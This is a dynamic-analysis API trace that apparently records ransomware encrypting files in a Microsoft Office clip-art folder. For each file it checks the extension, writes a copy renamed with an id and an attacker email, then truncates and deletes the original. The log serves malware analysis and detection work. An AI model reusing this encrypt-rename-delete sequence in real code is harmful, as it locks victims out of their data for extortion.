	[0175.267] lstrlenW (lpString=".zip") returned 4
	[0175.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.267] lstrlenW (lpString=".rar") returned 4
	[0175.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.267] lstrlenW (lpString=".bz2") returned 4
	[0175.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.268] lstrlenW (lpString=".7z") returned 3
	[0175.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0175.268] lstrlenW (lpString=".dbf") returned 4
	[0175.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0175.268] lstrlenW (lpString=".1cd") returned 4
	[0175.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0175.268] lstrlenW (lpString=".jpg") returned 4
	[0175.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0175.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0175.268] lstrlenW (lpString=".doc") returned 4
	[0175.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.268] lstrlenW (lpString=".docx") returned 5
	[0175.268] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.268] lstrlenW (lpString=".pdf") returned 4
	[0175.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.268] lstrlenW (lpString=".xls") returned 4
	[0175.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.268] lstrlenW (lpString=".xlsx") returned 5
	[0175.268] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.269] lstrlenW (lpString=".ppt") returned 4
	[0175.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0175.269] lstrlenW (lpString=".zip") returned 4
	[0175.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.269] lstrlenW (lpString=".rar") returned 4
	[0175.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.269] lstrlenW (lpString=".bz2") returned 4
	[0175.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.269] lstrlenW (lpString=".7z") returned 3
	[0175.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0175.269] lstrlenW (lpString=".dbf") returned 4
	[0175.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0175.269] lstrlenW (lpString=".1cd") returned 4
	[0175.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0175.269] lstrlenW (lpString=".jpg") returned 4
	[0175.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.269] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0175.270] lstrlenW (lpString="HH00546_.WMF") returned 12
	[0175.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.270] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3718) returned 1
	[0175.270] CloseHandle (hObject=0x5b4) returned 1
	[0175.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220
	[0175.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.271] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.271] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0175.272] GetLastError () returned 0x0
	[0175.272] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xe86, lpOverlapped=0x0) returned 1
	[0175.274] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xe90, lpOverlapped=0x0) returned 1
	[0175.275] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.275] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.276] SetEndOfFile (hFile=0x594) returned 1
	[0175.276] CloseHandle (hObject=0x594) returned 1
	[0175.276] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.276] SetEndOfFile (hFile=0x5b4) returned 1
	[0175.279] CloseHandle (hObject=0x5b4) returned 1
	[0175.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0175.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1
	[0175.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0175.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0175.281] lstrlenW (lpString=".doc") returned 4
	[0175.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.281] lstrlenW (lpString=".docx") returned 5
	[0175.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.281] lstrlenW (lpString=".pdf") returned 4
	[0175.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.281] lstrlenW (lpString=".xls") returned 4
	[0175.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.281] lstrlenW (lpString=".xlsx") returned 5
	[0175.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.281] lstrlenW (lpString=".ppt") returned 4
	[0175.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0175.282] lstrlenW (lpString=".zip") returned 4
	[0175.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.282] lstrlenW (lpString=".rar") returned 4
	[0175.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.282] lstrlenW (lpString=".bz2") returned 4
	[0175.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.282] lstrlenW (lpString=".7z") returned 3
	[0175.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0175.282] lstrlenW (lpString=".dbf") returned 4
	[0175.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0175.282] lstrlenW (lpString=".1cd") returned 4
	[0175.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0175.282] lstrlenW (lpString=".jpg") returned 4
	[0175.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0175.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0175.282] lstrlenW (lpString=".doc") returned 4
	[0175.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.282] lstrlenW (lpString=".docx") returned 5
	[0175.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.282] lstrlenW (lpString=".pdf") returned 4
	[0175.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.283] lstrlenW (lpString=".xls") returned 4
	[0175.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.283] lstrlenW (lpString=".xlsx") returned 5
	[0175.283] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.283] lstrlenW (lpString=".ppt") returned 4
	[0175.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0175.283] lstrlenW (lpString=".zip") returned 4
	[0175.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.283] lstrlenW (lpString=".rar") returned 4
	[0175.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.283] lstrlenW (lpString=".bz2") returned 4
	[0175.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.283] lstrlenW (lpString=".7z") returned 3
	[0175.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0175.283] lstrlenW (lpString=".dbf") returned 4
	[0175.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0175.283] lstrlenW (lpString=".1cd") returned 4
	[0175.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0175.283] lstrlenW (lpString=".jpg") returned 4
	[0175.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.284] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0175.284] lstrlenW (lpString="HH00601_.WMF") returned 12
	[0175.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.284] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1468) returned 1
	[0175.284] CloseHandle (hObject=0x5b4) returned 1
	[0175.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220
	[0175.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.285] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.285] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0175.286] GetLastError () returned 0x0
	[0175.286] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x5bc, lpOverlapped=0x0) returned 1
	[0175.288] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0175.290] ReadFile (in: hFile=0x5b4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.290] WriteFile (in: hFile=0x594, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.290] SetEndOfFile (hFile=0x594) returned 1
	[0175.290] CloseHandle (hObject=0x594) returned 1
	[0175.290] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.290] SetEndOfFile (hFile=0x5b4) returned 1
	[0175.293] CloseHandle (hObject=0x5b4) returned 1
	[0175.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0175.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1
	[0175.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0175.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0175.294] lstrlenW (lpString=".doc") returned 4
	[0175.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.294] lstrlenW (lpString=".docx") returned 5
	[0175.295] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.295] lstrlenW (lpString=".pdf") returned 4
	[0175.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.295] lstrlenW (lpString=".xls") returned 4
	[0175.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.295] lstrlenW (lpString=".xlsx") returned 5
	[0175.295] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.295] lstrlenW (lpString=".ppt") returned 4
	[0175.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0175.295] lstrlenW (lpString=".zip") returned 4
	[0175.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.295] lstrlenW (lpString=".rar") returned 4
	[0175.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.295] lstrlenW (lpString=".bz2") returned 4
	[0175.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.362] lstrlenW (lpString=".7z") returned 3
	[0175.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0175.362] lstrlenW (lpString=".dbf") returned 4
	[0175.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0175.362] lstrlenW (lpString=".1cd") returned 4
	[0175.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0175.362] lstrlenW (lpString=".jpg") returned 4
	[0175.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0175.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0175.362] lstrlenW (lpString=".doc") returned 4
	[0175.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.362] lstrlenW (lpString=".docx") returned 5
	[0175.362] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.362] lstrlenW (lpString=".pdf") returned 4
	[0175.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.362] lstrlenW (lpString=".xls") returned 4
	[0175.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.362] lstrlenW (lpString=".xlsx") returned 5
	[0175.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.362] lstrlenW (lpString=".ppt") returned 4
	[0175.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0175.363] lstrlenW (lpString=".zip") returned 4
	[0175.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.363] lstrlenW (lpString=".rar") returned 4
	[0175.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.363] lstrlenW (lpString=".bz2") returned 4
	[0175.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.363] lstrlenW (lpString=".7z") returned 3
	[0175.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0175.363] lstrlenW (lpString=".dbf") returned 4
	[0175.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0175.363] lstrlenW (lpString=".1cd") returned 4
	[0175.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0175.363] lstrlenW (lpString=".jpg") returned 4
	[0175.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.363] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0175.363] lstrlenW (lpString="HH00602_.WMF") returned 12
	[0175.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.435] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1400) returned 1
	[0175.435] CloseHandle (hObject=0x574) returned 1
	[0175.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220
	[0175.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0175.868] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.868] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0176.025] GetLastError () returned 0x0
	[0176.025] ReadFile (in: hFile=0x594, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x578, lpOverlapped=0x0) returned 1
	[0176.034] WriteFile (in: hFile=0x588, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x580, lpOverlapped=0x0) returned 1
	[0176.035] ReadFile (in: hFile=0x594, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.035] WriteFile (in: hFile=0x588, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.035] SetEndOfFile (hFile=0x588) returned 1
	[0176.042] CloseHandle (hObject=0x588) returned 1
	[0176.047] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.047] SetEndOfFile (hFile=0x594) returned 1
	[0176.073] CloseHandle (hObject=0x594) returned 1
	[0176.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1
	[0176.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0176.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0176.087] lstrlenW (lpString=".doc") returned 4
	[0176.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.088] lstrlenW (lpString=".docx") returned 5
	[0176.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.088] lstrlenW (lpString=".pdf") returned 4
	[0176.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.088] lstrlenW (lpString=".xls") returned 4
	[0176.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.088] lstrlenW (lpString=".xlsx") returned 5
	[0176.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.088] lstrlenW (lpString=".ppt") returned 4
	[0176.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0176.088] lstrlenW (lpString=".zip") returned 4
